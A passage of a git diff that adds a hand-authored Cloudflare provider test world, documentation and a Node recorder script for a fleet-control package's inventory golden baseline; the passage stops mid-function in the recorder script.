+ { + name: 'MAINTENANCE', + className: 'Maintenance', + namespaceId: 'ns-alpha', + }, + ], + serviceBindings: [{ name: 'EGRESS', service: 'fleet-egress' }], + queueProducerBindings: [{ name: 'AUDIT', queueName: 'fleet-audit' }], + r2BucketBindings: [ + { + name: 'EXPORTS', + bucketName: 'fleet-exports', + jurisdiction: 'default', + }, + ], + plainTextBindings: { DEPLOYMENT_TENANT: 'acme' }, + secretNames: ['MAINTENANCE_ADMIN'], + routeHostnames: ['alpha.example.test', 'stale.example.test'], + artifactVersion: 'etag-fleet-alpha', + desiredSpecDigest: + 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', + schemaVersion: 2, + }, + { + backend: 'workers-for-platforms', + scriptName: 'fleet-drifted', + tenantTag: 'acme', + environment: 'production', + databaseIds: ['db-drifted-live'], + durableObjectBindings: [], + serviceBindings: [], + queueProducerBindings: [], + r2BucketBindings: [], + plainTextBindings: {}, + secretNames: [], + routeHostnames: [], + artifactVersion: 'etag-fleet-drifted', + desiredSpecDigest: + 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', + schemaVersion: 2, + }, + { + backend: 'plain-worker', + resourceRole: 'platform-state', + resourceGroupId: 'policy-alpha', + scriptName: 'fleet-state', + tenantTag: 'acme', + environment: 'production', + databaseIds: ['db-plain'], + durableObjectBindings: [ + { name: 'STATE', className: 'State', namespaceId: 'ns-state' }, + ], + serviceBindings: [{ name: 'EGRESS', service: 'fleet-egress' }], + queueProducerBindings: [{ name: 'AUDIT', queueName: 'fleet-audit' }], + kvNamespaceBindings: [{ name: 'HOSTS', namespaceId: 'hosts' }], + r2BucketBindings: [ + { + name: 'EXPORTS', + bucketName: 'fleet-alpha-exports', + jurisdiction: 'default', + }, + ], + secretNames: ['STATE_CREDENTIAL'], + plainTextBindings: { + DEPLOYMENT_TENANT: 'acme', + FLEET_ENVIRONMENT: 'production', + FLEET_SCHEMA_VERSION: '2', + FLEET_RESOURCE_ROLE: 'platform-state', + FLEET_RESOURCE_GROUP: 'policy-alpha', + FLEET_SPEC_DIGEST: + 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', + }, + routeHostnames: [], + zoneRoutes: [ + { + zoneId: 'zone-a', + routeId: 'route-state', + pattern: 'state.example.test/*', + }, + ], + artifactVersion: 'version-fleet-state', + desiredSpecDigest: + 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', + schemaVersion: 2, + }, + { + backend: 'plain-worker', + scriptName: 'fleet-plain', + tenantTag: 'plain', + environment: 'staging', + databaseIds: ['db-plain'], + durableObjectBindings: [], + serviceBindings: [], + queueProducerBindings: [], + kvNamespaceBindings: [], + r2BucketBindings: [], + secretNames: [], + plainTextBindings: { + DEPLOYMENT_TENANT: 'plain', + FLEET_ENVIRONMENT: 'staging', + FLEET_SCHEMA_VERSION: '4', + }, + routeHostnames: ['plain.example.test'], + zoneRoutes: [ + { + zoneId: 'zone-b', + routeId: 'route-plain', + pattern: 'plain.example.test/*', + }, + ], + artifactVersion: 'version-fleet-plain', + schemaVersion: 4, + }, + { + backend: 'plain-worker', + resourceRole: 'deployment-egress', + resourceGroupId: 'policy-alpha', + scriptName: 'fleet-egress', + tenantTag: 'acme', + environment: 'production', + databaseIds: [], + durableObjectBindings: [], + serviceBindings: [], + queueProducerBindings: [], + kvNamespaceBindings: [], + r2BucketBindings: [], + secretNames: [], + plainTextBindings: { + DEPLOYMENT_TENANT: 'acme', + FLEET_ENVIRONMENT: 'production', + FLEET_SCHEMA_VERSION: '2', + FLEET_RESOURCE_ROLE: 'deployment-egress', + FLEET_RESOURCE_GROUP: 'policy-alpha', + }, + routeHostnames: [], + zoneRoutes: [], + artifactVersion: 'version-fleet-egress', + schemaVersion: 2, + }, + ], + databaseIds: ['db-alpha', 'db-plain'], + namespaceIds: ['ns-alpha', 'ns-state'], + r2Buckets: [ + { + bucketName: 'fleet-alpha-exports', + jurisdiction: 'default', + creationDate: '2026-08-01T00:00:00.000Z', + }, + { + bucketName: 'fleet-eu-state', + jurisdiction: 'eu', + creationDate: '2026-08-03T00:00:00.000Z', + }, + ], + routes: [ + { + backend: 'workers-for-platforms', + surface: 'host-registry', + hostname: 'alpha.example.test', + scriptName: 'fleet-alpha', + tenantTag: 'acme', + environment: 'production', + policyId: 'policy-alpha', + policyHosts: ['api.example.com'], + policyDigest: + '045d08ae55129b208b03729375751e319888778ae2f9ab9af401234ca11b31b0', + stateEgress: { + resourceGroupId: 'policy-alpha', + stateScriptName: 'fleet-state', + credentialDigest: + 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', + }, + }, + { + backend: 'workers-for-platforms', + surface: 'host-registry', + hostname: 'stale.example.test', + scriptName: 'fleet-alpha', + tenantTag: 'acme', + environment: 'production', + policyId: 'policy-stale', + policyHosts: [], + policyDigest: + 'f863229329a0910143f8a475f09d04c5dbe5a0d5cbdda54c343d83616c7e8491', + }, + { + backend: 'plain-worker', + surface: 'custom-domain', + hostname: 'plain.example.test', + scriptName: 'fleet-plain', + tenantTag: 'plain', + environment: 'staging', + }, + { + backend: 'plain-worker', + surface: 'custom-domain', + hostname: 'ghost.example.test', + scriptName: 'fleet-ghost', + tenantTag: 'unknown', + environment: 'unknown', + }, + { + backend: 'plain-worker', + surface: 'zone-route', + zoneId: 'zone-a', + routeId: 'route-state', + hostname: 'state.example.test/*', + scriptName: 'fleet-state', + tenantTag: 'acme', + environment: 'production', + }, + { + backend: 'plain-worker', + surface: 'zone-route', + zoneId: 'zone-b', + routeId: 'route-plain', + hostname: 'plain.example.test/*', + scriptName: 'fleet-plain', + tenantTag: 'plain', + environment: 'staging', + }, + ], +} as const satisfies FleetResourceInventory; diff --git a/packages/fleet-control/test/fixtures/fleet-inventory-drain-world.ts b/packages/fleet-control/test/fixtures/fleet-inventory-drain-world.ts new file mode 100644 index 00000000..7644e9fd --- /dev/null +++ b/packages/fleet-control/test/fixtures/fleet-inventory-drain-world.ts @@ -0,0 +1,590 @@ +// SPDX-License-Identifier: Apache-2.0 + +/** + * Hand-authored deterministic provider world for the `collectFleetInventory` + * golden baseline. `scripts/record-drain-baseline.mjs` and + * `test/cloudflare-client.test.ts` both import this file; the recorder NEVER + * writes it, so the recorded literals can never rewrite their own input. + * + * The world deliberately drives every interesting drain path: Workers for + * Platforms registrations and independent plain Workers, malformed and stale + * host-routing KV entries, a registration whose dispatch inspection fails, a + * plain Worker whose per-script inventory fails, zone routes, custom domains, + * R2 buckets in two of the three scanned jurisdictions, D1 databases, and + * Durable Object namespaces. + * + * It also meets the spec's branch-coverage floor: all seven finding kinds + * appear, including the dispatch-namespace trust attestation, the live dispatch + * ownership mismatch, both arms of `incomplete-deployment` (public reachability + * and a zone route on a trusted Worker), and the host-route state-egress parse + * failure. + */ + +import { CloudflareProvisioningClient } from '../../src/cloudflare-client.js'; +import { canonicalDeploymentEgressPolicy } from '../../src/platform-resources.js'; +import type { FleetResourceInventory } from '../../src/types.js'; +import { + type CloudflareFetchRecord, + type CloudflareFixtureHandler, + pageArray, + recordingFetch, + restProjection, + single, + testRateCoordinator, +} from './cloudflare-fetch-fixture.js'; +import { type ProviderWorld, providerWorld } from './provider-world.js'; + +export const DRAIN_ACCOUNT_ID = 'account'; +export const DRAIN_DISPATCH_NAMESPACE = 'fleet'; +export const DRAIN_HOST_ROUTING_KV_ID = 'hosts'; + +/** The exact options the recorded baseline was drained with. */ +export const DRAIN_INVENTORY_OPTIONS = { + hostRoutingKvId: DRAIN_HOST_ROUTING_KV_ID, + databaseNamePrefix: 'fleet-', + scriptNamePrefix: 'fleet-', + includeDispatchNamespace: true, + includeR2Buckets: true, +} as const; + +const ALPHA_POLICY = canonicalDeploymentEgressPolicy({ + policyId: 'policy-alpha', + tenantTag: 'acme', + environment: 'production', + allowedHosts: ['api.example.com'], +}); + +const STALE_POLICY = canonicalDeploymentEgressPolicy({ + policyId: 'policy-stale', + tenantTag: 'acme', + environment: 'production', + allowedHosts: [], +}); + +const SPEC_DIGEST = 'a'.repeat(64); +const CREDENTIAL_DIGEST = 'b'.repeat(64); + +const R2_JURISDICTION_HEADER = 'cf-r2-jurisdiction'; + +/** + * The only headers copied into a recorded request. The R2 jurisdiction travels + * as a header, so the three R2 page GETs would otherwise be byte-identical and + * their order unpinnable. `authorization` and every other credential-bearing + * header must never be added here. + */ +const RECORDED_HEADER_ALLOWLIST: readonly string[] = [R2_JURISDICTION_HEADER]; + +/** + * Listing order of the host-routing KV namespace, followed by each stored + * value. Keys stay lowercase because the client lowercases every value read. + */ +const HOST_ROUTING_KV_ENTRIES: readonly (readonly [string, string])[] = [ + [ + '__anchorage_script__:fleet-alpha', + JSON.stringify({ + scriptName: 'fleet-alpha', + tenantTag: 'acme', + environment: 'production', + databaseId: 'db-alpha', + routeHostname: 'alpha.example.test', + }), + ], + [ + '__anchorage_script__:fleet-broken', + JSON.stringify({ + scriptName: 'fleet-broken', + tenantTag: 'beta', + environment: 'staging', + databaseId: 'db-broken', + routeHostname: 'broken.example.test', + }), + ], + [ + '__anchorage_script__:fleet-wrong-key', + JSON.stringify({ + scriptName: 'fleet-other-owner', + tenantTag: 'gamma', + environment: 'production', + databaseId: 'db-other-owner', + routeHostname: 'other-owner.example.test', + }), + ], + // Owner-checked registration whose live dispatch Worker binds another + // database, so the drain records the ownership mismatch at + // cloudflare-client.ts:1666-1679. + [ + '__anchorage_script__:fleet-drifted', + JSON.stringify({ + scriptName: 'fleet-drifted', + tenantTag: 'acme', + environment: 'production', + databaseId: 'db-drifted', + routeHostname: 'drifted.example.test', + }), + ], + ['__anchorage_script__:fleet-malformed', '{'], + [ + '__anchorage_script__:fleet-incomplete', + JSON.stringify({ + scriptName: 'fleet-incomplete', + tenantTag: 'delta', + environment: 'production', + routeHostname: 'incomplete.example.test', + }), + ], + [ + 'alpha.example.test', + JSON.stringify({ + scriptName: 'fleet-alpha', + tenantTag: 'acme', + environment: 'production', + ...ALPHA_POLICY, + stateEgress: { + resourceGroupId: ALPHA_POLICY.policyId, + stateScriptName: 'fleet-state', + credentialDigest: CREDENTIAL_DIGEST, + }, + }), + ], + [ + 'stale.example.test', + JSON.stringify({ + scriptName: 'fleet-alpha', + tenantTag: 'acme', + environment: 'production', + ...STALE_POLICY, + }), + ], + [ + 'bad-policy.example.test', + JSON.stringify({ + scriptName: 'fleet-alpha', + tenantTag: 'acme', + environment: 'production', + policyId: ALPHA_POLICY.policyId, + policyHosts: ALPHA_POLICY.policyHosts, + policyDigest: '0'.repeat(64), + }), + ], + // Consistent policy metadata with an unusable state-egress block, so + // parseHostRoutingTarget refuses it at cloudflare-client.ts:1560-1570. + [ + 'bad-state-egress.example.test', + JSON.stringify({ + scriptName: 'fleet-alpha', + tenantTag: 'acme', + environment: 'production', + ...ALPHA_POLICY, + stateEgress: { + resourceGroupId: ALPHA_POLICY.policyId, + stateScriptName: 'fleet-state', + credentialDigest: 'not-a-sha256-digest', + }, + }), + ], + ['malformed.example.test', '{'], +]; + +const DISPATCH_SCRIPT_LISTING: readonly Readonly<{ + id: string; + tags: readonly string[]; +}>[] = [ + { + id: 'fleet-alpha', + tags: ['fleet:anchorage', 'tenant:acme', 'environment:production'], + }, + { + id: 'fleet-broken', + tags: ['fleet:anchorage', 'tenant:beta', 'environment:staging'], + }, + // The listing tags agree with the registration, so only the live-settings + // ownership check can flag this script. + { + id: 'fleet-drifted', + tags: ['fleet:anchorage', 'tenant:acme', 'environment:production'], + }, + { + id: 'fleet-orphan', + tags: ['fleet:anchorage', 'tenant:orphan', 'environment:production'], + }, +]; + +const DISPATCH_SCRIPT_SETTINGS: Readonly< + Record< + string, + Readonly<{ bindings: readonly unknown[]; tags: readonly string[] }> + > +> = { + 'fleet-alpha': { + bindings: [ + { type: 'd1', name: 'DB', database_id: 'db-alpha' }, + { + type: 'durable_object_namespace', + name: 'MAINTENANCE', + class_name: 'Maintenance', + namespace_id: 'ns-alpha', + }, + { type: 'service', name: 'EGRESS', service: 'fleet-egress' }, + { type: 'queue', name: 'AUDIT', queue_name: 'fleet-audit' }, + { type: 'r2_bucket', name: 'EXPORTS', bucket_name: 'fleet-exports' }, + { type: 'plain_text', name: 'DEPLOYMENT_TENANT', text: 'acme' }, + { type: 'secret_text', name: 'MAINTENANCE_ADMIN' }, + ], + tags: [ + 'fleet:anchorage', + 'tenant:acme', + 'environment:production', + 'schema:2', + `spec:${SPEC_DIGEST}`, + 'do:v3', + ], + }, + // No `spec:` tag, so inspectDispatchWorker refuses this registration and the + // drain records the String(error) detail at cloudflare-client.ts:1627-1630. + 'fleet-broken': { + bindings: [{ type: 'd1', name: 'DB', database_id: 'db-broken' }], + tags: ['fleet:anchorage', 'tenant:beta', 'environment:staging', 'schema:2'], + }, + // Complete metadata that binds a database the registration does not claim. + 'fleet-drifted': { + bindings: [{ type: 'd1', name: 'DB', database_id: 'db-drifted-live' }], + tags: [ + 'fleet:anchorage', + 'tenant:acme', + 'environment:production', + 'schema:2', + `spec:${SPEC_DIGEST}`, + ], + }, +}; + +const R2_BUCKETS: Readonly< + Record[]> +> = { + default: [ + { name: 'fleet-alpha-exports', creation_date: '2026-08-01T00:00:00.000Z' }, + { name: 'other-exports', creation_date: '2026-08-02T00:00:00.000Z' }, + ], + eu: [{ name: 'fleet-eu-state', creation_date: '2026-08-03T00:00:00.000Z' }], + fedramp: [], +}; + +function providerNotFound(): Response { + return Response.json( + { + success: false, + errors: [{ code: 10090, message: 'missing' }], + messages: [], + result: null, + }, + { status: 404 }, + ); +} + +/** + * The rich world every drain baseline run starts from. A fresh instance per + * run keeps the recorder and the equivalence test byte-identical. + */ +export function fleetInventoryDrainWorld(): ProviderWorld { + const world = providerWorld(); + world.zones.push({ id: 'zone-a' }, { id: 'zone-b' }); + world.routes.push( + { + zoneId: 'zone-a', + id: 'route-state', + pattern: 'state.example.test/*', + script: 'fleet-state', + }, + { + zoneId: 'zone-b', + id: 'route-plain', + pattern: 'plain.example.test/*', + script: 'fleet-plain', + }, + { + zoneId: 'zone-b', + id: 'route-other', + pattern: 'other.example.test/*', + script: 'other-worker', + }, + ); + world.customDomains.push( + { + id: 'domain-plain', + hostname: 'plain.example.test', + service: 'fleet-plain', + }, + { + id: 'domain-ghost', + hostname: 'ghost.example.test', + service: 'fleet-ghost', + }, + { + id: 'domain-other', + hostname: 'other.example.test', + service: 'other-worker', + }, + ); + world.durableObjectNamespaces.push( + { id: 'ns-alpha', script: 'fleet-alpha', className: 'Maintenance' }, + { id: 'ns-state', script: 'fleet-state', className: 'State' }, + { id: 'ns-other', script: 'other-worker', className: 'Other' }, + ); + world.seedDatabase('fleet-alpha', { databaseId: 'db-alpha' }); + world.seedDatabase('fleet-plain', { databaseId: 'db-plain' }); + world.seedDatabase('other-db', { databaseId: 'db-other' }); + world.seedScript('fleet-state', { + versions: [ + { + versionId: 'version-fleet-state', + tag: undefined, + mainModule: 'worker.js', + modules: [], + bindings: [ + { type: 'd1', name: 'STATE_DB', database_id: 'db-plain' }, + { + type: 'durable_object_namespace', + name: 'STATE', + class_name: 'State', + namespace_id: 'ns-state', + }, + { type: 'service', name: 'EGRESS', service: 'fleet-egress' }, + { type: 'queue', name: 'AUDIT', queue_name: 'fleet-audit' }, + { type: 'kv_namespace', name: 'HOSTS', namespace_id: 'hosts' }, + { + type: 'r2_bucket', + name: 'EXPORTS', + bucket_name: 'fleet-alpha-exports', + }, + { type: 'plain_text', name: 'DEPLOYMENT_TENANT', text: 'acme' }, + { type: 'plain_text', name: 'FLEET_ENVIRONMENT', text: 'production' }, + { type: 'plain_text', name: 'FLEET_SCHEMA_VERSION', text: '2' }, + { + type: 'plain_text', + name: 'FLEET_RESOURCE_ROLE', + text: 'platform-state', + }, + { + type: 'plain_text', + name: 'FLEET_RESOURCE_GROUP', + text: 'policy-alpha', + }, + { type: 'plain_text', name: 'FLEET_SPEC_DIGEST', text: SPEC_DIGEST }, + // No `text` at all: no fixture in this world carries a secret value, + // even one the provider projection would strip before recording. + { type: 'secret_text', name: 'STATE_CREDENTIAL' }, + ], + }, + ], + deployment: [{ versionId: 'version-fleet-state', percentage: 100 }], + subdomain: { enabled: false, previewsEnabled: false }, + }); + world.seedScript('fleet-plain', { + versions: [ + { + versionId: 'version-fleet-plain', + tag: undefined, + mainModule: 'worker.js', + modules: [], + bindings: [ + { type: 'd1', name: 'DB', database_id: 'db-plain' }, + { type: 'plain_text', name: 'DEPLOYMENT_TENANT', text: 'plain' }, + { type: 'plain_text', name: 'FLEET_ENVIRONMENT', text: 'staging' }, + { type: 'plain_text', name: 'FLEET_SCHEMA_VERSION', text: '4' }, + ], + }, + ], + deployment: [{ versionId: 'version-fleet-plain', percentage: 100 }], + subdomain: { enabled: false, previewsEnabled: false }, + }); + // A trusted Worker reachable on workers.dev with no zone route, so the drain + // records the public-access arm of incomplete-deployment at + // cloudflare-client.ts:1931-1934. + world.seedScript('fleet-egress', { + versions: [ + { + versionId: 'version-fleet-egress', + tag: undefined, + mainModule: 'worker.js', + modules: [], + bindings: [ + { type: 'plain_text', name: 'DEPLOYMENT_TENANT', text: 'acme' }, + { type: 'plain_text', name: 'FLEET_ENVIRONMENT', text: 'production' }, + { type: 'plain_text', name: 'FLEET_SCHEMA_VERSION', text: '2' }, + { + type: 'plain_text', + name: 'FLEET_RESOURCE_ROLE', + text: 'deployment-egress', + }, + { + type: 'plain_text', + name: 'FLEET_RESOURCE_GROUP', + text: 'policy-alpha', + }, + ], + }, + ], + deployment: [{ versionId: 'version-fleet-egress', percentage: 100 }], + subdomain: { enabled: true, previewsEnabled: false }, + }); + // No FLEET_SCHEMA_VERSION, so the per-script inventory throws and the drain + // records the String(error) detail at cloudflare-client.ts:1974-1978. + world.seedScript('fleet-unreadable', { + versions: [ + { + versionId: 'version-fleet-unreadable', + tag: undefined, + mainModule: 'worker.js', + modules: [], + bindings: [ + { type: 'plain_text', name: 'DEPLOYMENT_TENANT', text: 'epsilon' }, + { type: 'plain_text', name: 'FLEET_ENVIRONMENT', text: 'production' }, + ], + }, + ], + deployment: [{ versionId: 'version-fleet-unreadable', percentage: 100 }], + subdomain: { enabled: false, previewsEnabled: false }, + }); + world.seedScript('other-worker', { + versions: [ + { + versionId: 'version-other-worker', + tag: undefined, + mainModule: 'worker.js', + modules: [], + bindings: [], + }, + ], + deployment: [{ versionId: 'version-other-worker', percentage: 100 }], + subdomain: { enabled: true, previewsEnabled: true }, + }); + return world; +} + +/** + * Serves the endpoints `restProjection` does not model — the host-routing KV + * namespace, the dispatch namespace and its scripts (whose fleet tags the + * shared projection does not carry), and R2 bucket listing — and delegates + * everything else to the shared projection. + */ +export function fleetInventoryDrainHandler( + world: ProviderWorld, +): CloudflareFixtureHandler { + const rest = restProjection(world); + const accountPrefix = `/client/v4/accounts/${DRAIN_ACCOUNT_ID}`; + const kvPath = `/storage/kv/namespaces/${DRAIN_HOST_ROUTING_KV_ID}`; + const namespacePath = `/workers/dispatch/namespaces/${DRAIN_DISPATCH_NAMESPACE}`; + const scriptsPath = `${namespacePath}/scripts`; + return async (request) => { + const target = new URL(request.url); + const path = decodeURIComponent(target.pathname); + if (!path.startsWith(`${accountPrefix}/`)) return rest(request); + const route = path.slice(accountPrefix.length); + if (route === `${kvPath}/keys`) { + return pageArray(HOST_ROUTING_KV_ENTRIES.map(([name]) => ({ name }))); + } + if (route.startsWith(`${kvPath}/values/`)) { + const key = route.slice(`${kvPath}/values/`.length); + const entry = HOST_ROUTING_KV_ENTRIES.find(([name]) => name === key); + return entry === undefined ? providerNotFound() : new Response(entry[1]); + } + if (route === namespacePath) { + return single({ + namespace_name: DRAIN_DISPATCH_NAMESPACE, + namespace_id: 'dispatch-namespace-id', + // trusted_workers=true fails the namespace attestation, and a + // script_count above the paginated listing reports missing scripts, so + // both branches of the attestation block stay observable. + script_count: DISPATCH_SCRIPT_LISTING.length + 1, + trusted_workers: true, + }); + } + if (route === scriptsPath) { + return pageArray( + DISPATCH_SCRIPT_LISTING.map(({ id, tags }) => ({ id, tags })), + ); + } + if (route.startsWith(`${scriptsPath}/`)) { + const remainder = route.slice(`${scriptsPath}/`.length); + const settingsRead = remainder.endsWith('/settings'); + const scriptName = settingsRead + ? remainder.slice(0, -'/settings'.length) + : remainder; + const settings = DISPATCH_SCRIPT_SETTINGS[scriptName]; + if (!settings) return providerNotFound(); + return settingsRead + ? single(settings) + : single({ script: { etag: `etag-${scriptName}` } }); + } + if (route === '/r2/buckets' && request.method === 'GET') { + const jurisdiction = + request.headers.get(R2_JURISDICTION_HEADER) ?? 'default'; + return single({ buckets: R2_BUCKETS[jurisdiction] ?? [] }); + } + return rest(request); + }; +} + +/** + * A recorded provider request. `headers` carries ONLY + * `RECORDED_HEADER_ALLOWLIST`; no credential-bearing header is ever recorded, + * because the baseline is committed to the repository. + */ +export interface DrainRequestRecord extends CloudflareFetchRecord { + readonly headers?: Readonly>; +} + +function allowlistedHeaders( + input: Parameters[0], + init: Parameters[1], +): Readonly> { + const headers = new Headers( + init?.headers ?? (input instanceof Request ? input.headers : undefined), + ); + return Object.fromEntries( + RECORDED_HEADER_ALLOWLIST.flatMap((name) => { + const value = headers.get(name); + return value === null ? [] : [[name, value] as const]; + }), + ); +} + +/** Runs the current drain against a fresh world through the recording fetch. */ +export async function runFleetInventoryDrain(): Promise<{ + readonly requests: readonly DrainRequestRecord[]; + readonly inventory: FleetResourceInventory; +}> { + const world = fleetInventoryDrainWorld(); + const fixture = recordingFetch(fleetInventoryDrainHandler(world)); + const recordedHeaders: Readonly>[] = []; + const client = new CloudflareProvisioningClient({ + accountId: DRAIN_ACCOUNT_ID, + apiToken: 'token', + rateCoordinator: testRateCoordinator(), + dispatchNamespace: DRAIN_DISPATCH_NAMESPACE, + fetch: (input, init) => { + // The recording fixture keeps `data:` FormData probes out of `requests`, + // so skipping them here keeps both sequences index-aligned. + const url = new URL( + typeof input === 'string' + ? input + : input instanceof URL + ? input.href + : input.url, + ); + if (url.protocol !== 'data:') { + recordedHeaders.push(allowlistedHeaders(input, init)); + } + return fixture.fetch(input, init); + }, + }); + const inventory = await client.collectFleetInventory(DRAIN_INVENTORY_OPTIONS); + const requests = fixture.requests.map((request, index) => { + const headers = recordedHeaders[index] ?? {}; + return { + ...request, + ...(Object.keys(headers).length > 0 ? { headers } : {}), + }; + }); + return { requests, inventory }; +} diff --git a/scripts/CLAUDE.md b/scripts/CLAUDE.md index 251a0532..a5048e88 100644 --- a/scripts/CLAUDE.md +++ b/scripts/CLAUDE.md @@ -19,6 +19,16 @@ Repository documentation, architecture, and publication checks. Markdown syntax satisfy fleet control's own validators. Lives here because `.dependency-cruiser.cjs` forbids anything under `packages/` from importing fleet control. +- `record-drain-baseline.mjs` — records fleet control's `collectFleetInventory` + golden baseline from the hand-authored provider world in + `packages/fleet-control/test/fixtures/fleet-inventory-drain-world.ts` and + writes only `…/fixtures/fleet-inventory-drain-baseline.ts`, formatting it with + the repository's Biome. `--check` re-derives both values from the unchanged + world, compares them structurally against the committed module's exports, + prints every structural difference, and exits non-zero without writing. This + script is deliberately NOT part of CI: the in-suite equivalence title in + `packages/fleet-control/test/cloudflare-client.test.ts` is the automatic + behavioral gate, and `--check` is the re-recording aid an author runs by hand. - `workerd-server-lifecycle.mjs` — the one `wrangler dev` start/stop protocol shared by the FlowSafe workerd harnesses and the conformance harness. - `workerd-server-lifecycle.test.mjs` — its vitest suite, run through the root diff --git a/scripts/record-drain-baseline.mjs b/scripts/record-drain-baseline.mjs new file mode 100644 index 00000000..4b20c408 --- /dev/null +++ b/scripts/record-drain-baseline.mjs @@ -0,0 +1,331 @@ +// SPDX-License-Identifier: Apache-2.0 + +// Records the golden baseline of +// CloudflareProvisioningClient.collectFleetInventory(): the full provider +// request sequence and the exact FleetResourceInventory it returns for the +// hand-authored world in +// packages/fleet-control/test/fixtures/fleet-inventory-drain-world.ts. +// +// The baseline must be recorded from PRE-REWRITE code, so this script writes +// exactly one file — the generated literals — and never touches the world it +// drives. `--check` re-derives both values from the unchanged world and +// compares them STRUCTURALLY against the committed module's exports, so the +// compatibility gate never depends on formatter behavior; it writes nothing. +// +// This script is a re-recording aid, not a CI gate: the in-suite equivalence +// title in packages/fleet-control/test/cloudflare-client.test.ts is the +// automatic behavioral gate. +// +// Usage: +// node scripts/record-drain-baseline.mjs # write the baseline +// node scripts/record-drain-baseline.mjs --check # verify, exit 1 on drift + +import { spawnSync } from 'node:child_process'; +import { existsSync, writeFileSync } from 'node:fs'; +import { register } from 'node:module'; +import { dirname, join, resolve } from 'node:path'; +import process from 'node:process'; +import { fileURLToPath, pathToFileURL } from 'node:url'; + +const REPOSITORY_ROOT = dirname(dirname(fileURLToPath(import.meta.url))); +const FIXTURE_DIRECTORY = join( + REPOSITORY_ROOT, + 'packages', + 'fleet-control', + 'test', + 'fixtures', +); +const WORLD_MODULE = join(FIXTURE_DIRECTORY, 'fleet-inventory-drain-world.ts'); +const BASELINE_FILE = join( + FIXTURE_DIRECTORY, + 'fleet-inventory-drain-baseline.ts', +); +const BASELINE_RELATIVE_PATH = + 'packages/fleet-control/test/fixtures/fleet-inventory-drain-baseline.ts'; +const BIOME_BINARY = join(REPOSITORY_ROOT, 'node_modules', '.bin', 'biome'); + +function usage(message) { + process.stderr.write( + `${message}\nusage: node scripts/record-drain-baseline.mjs [--check]\n`, + ); + process.exit(2); +} + +function parseArguments(argv) { + let check = false; + for (const argument of argv) { + if (argument === '--check') check = true; + else usage(`unknown argument '${argument}'`); + } + return { check }; +} + +// The fixture chain (and the client it drives) is TypeScript with parameter +// properties, which Node's default strip-only mode refuses, so the script +// re-executes itself once with full type transformation. +function reexecuteWithTypeTransform(argv) { + const result = spawnSync( + process.execPath, + [ + '--experimental-transform-types', + '--no-warnings', + fileURLToPath(import.meta.url), + ...argv, + ], + { stdio: 'inherit' }, + ); + if (result.error) throw result.error; + process.exit(result.status ?? 1); +} + +// Test sources import sibling modules with `.js` specifiers, which Node does +// not remap to the `.ts` files on disk. +function registerTypeScriptResolution() { + const hook = ` + import { existsSync } from 'node:fs'; + import { fileURLToPath } from 'node:url'; + export async function resolve(specifier, context, next) { + const relative = specifier.startsWith('.') || specifier.startsWith('/'); + if (relative && specifier.endsWith('.js')) { + const target = new URL(specifier, context.parentURL); + if (!existsSync(fileURLToPath(target))) { + const candidate = new URL(\`\${target.href.slice(0, -3)}.ts\`); + if (existsSync(fileURLToPath(candidate))) { + return next(candidate.href, context); + } + } + } + return next(specifier, context); + } + `; + register(`data:text/javascript,${encodeURIComponent(hook)}`); +} + +function quoted(value) { + const escaped = value + .replaceAll('\\', '\\\\') + .replaceAll("'", "\\'") + .replaceAll('\n', '\\n') + .replaceAll('\r', '\\r') + .replaceAll('\t', '\\t'); + return `'${escaped}'`; +} + +function primitive(value) { + if (value === undefined) return 'undefined'; + if (value === null) return 'null'; + if (typeof value === 'string') return quoted(value); + if (typeof value === 'number' || typeof value === 'boolean') { + return String(value); + } + throw new Error(`unsupported baseline value type '${typeof value}'`); +} + +function isComposite(value) { + return typeof value === 'object' && value !== null; +} + +function propertyKey(key) { + return /^[A-Za-z_$][A-Za-z0-9_$]*$/u.test(key) ? key : quoted(key); +} + +// Emits readable TypeScript; `biome check --write` owns the final layout. +function render(value) { + if (!isComposite(value)) return primitive(value); + if (Array.isArray(value)) { + if (value.length === 0) return '[]'; + return `[${value.map((item) => `${render(item)},`).join('\n')}]`; + } + const entries = Object.entries(value); + if (entries.length === 0) return '{}'; + return `{${entries + .map(([key, item]) => `${propertyKey(key)}: ${render(item)},`) + .join('\n')}}`; +} + +function baselineSource({ requests, inventory }) { + return `// SPDX-License-Identifier: Apache-2.0 + +/** + * GENERATED FILE — DO NOT EDIT BY HAND. + * + * Written by \`scripts/record-drain-baseline.mjs\` from the hand-authored world + * in \`fleet-inventory-drain-world.ts\`. It freezes the observable behavior of + * \`CloudflareProvisioningClient.collectFleetInventory()\` before its internals + * are rewritten, so the rewrite can be proven byte-equivalent. Verify with + * \`node scripts/record-drain-baseline.mjs --check\`; any required change to + * these literals is a compatibility break, not a fixture update. + */ + +import type { FleetResourceInventory } from '../../src/types.js'; +import type { DrainRequestRecord } from './fleet-inventory-drain-world.js'; + +/** Every provider request the drain issued, in order. */ +export const DRAIN_BASELINE_REQUESTS = ${render(requests)} as const satisfies readonly DrainRequestRecord[]; + +/** The exact inventory the drain returned. */ +export const DRAIN_BASELINE_INVENTORY = ${render(inventory)} as const satisfies FleetResourceInventory; +`; +} + +function formatGeneratedFile() { + if (!existsSync(BIOME_BINARY)) { + throw new Error( + `biome is not installed at ${BIOME_BINARY}; run pnpm install first`, + ); + } + const result = spawnSync(BIOME_BINARY, ['check', '--write', BASELINE_FILE], { + cwd: REPOSITORY_ROOT, + stdio: ['ignore', 'ignore', 'inherit'], + }); + if (result.error) throw result.error; + if (result.status !== 0) { + throw new Error('biome refused the generated baseline'); + } +} + +function describeValue(value) { + if (isComposite(value)) { + return Array.isArray(value) + ? `array(${value.length})` + : `object{${Object.keys(value).join(',')}}`; + } + return primitive(value); +} + +/** + * Structural comparison: ordered arrays, ordered object keys, exact leaf + * values. Formatting and quoting are deliberately outside the comparison. + */ +function structuralDifferences(committed, derived, path, differences) { + if (isComposite(committed) !== isComposite(derived)) { + differences.push( + `${path}: committed ${describeValue(committed)} / derived ${describeValue(derived)}`, + ); + return differences; + } + if (!isComposite(committed)) { + if (committed 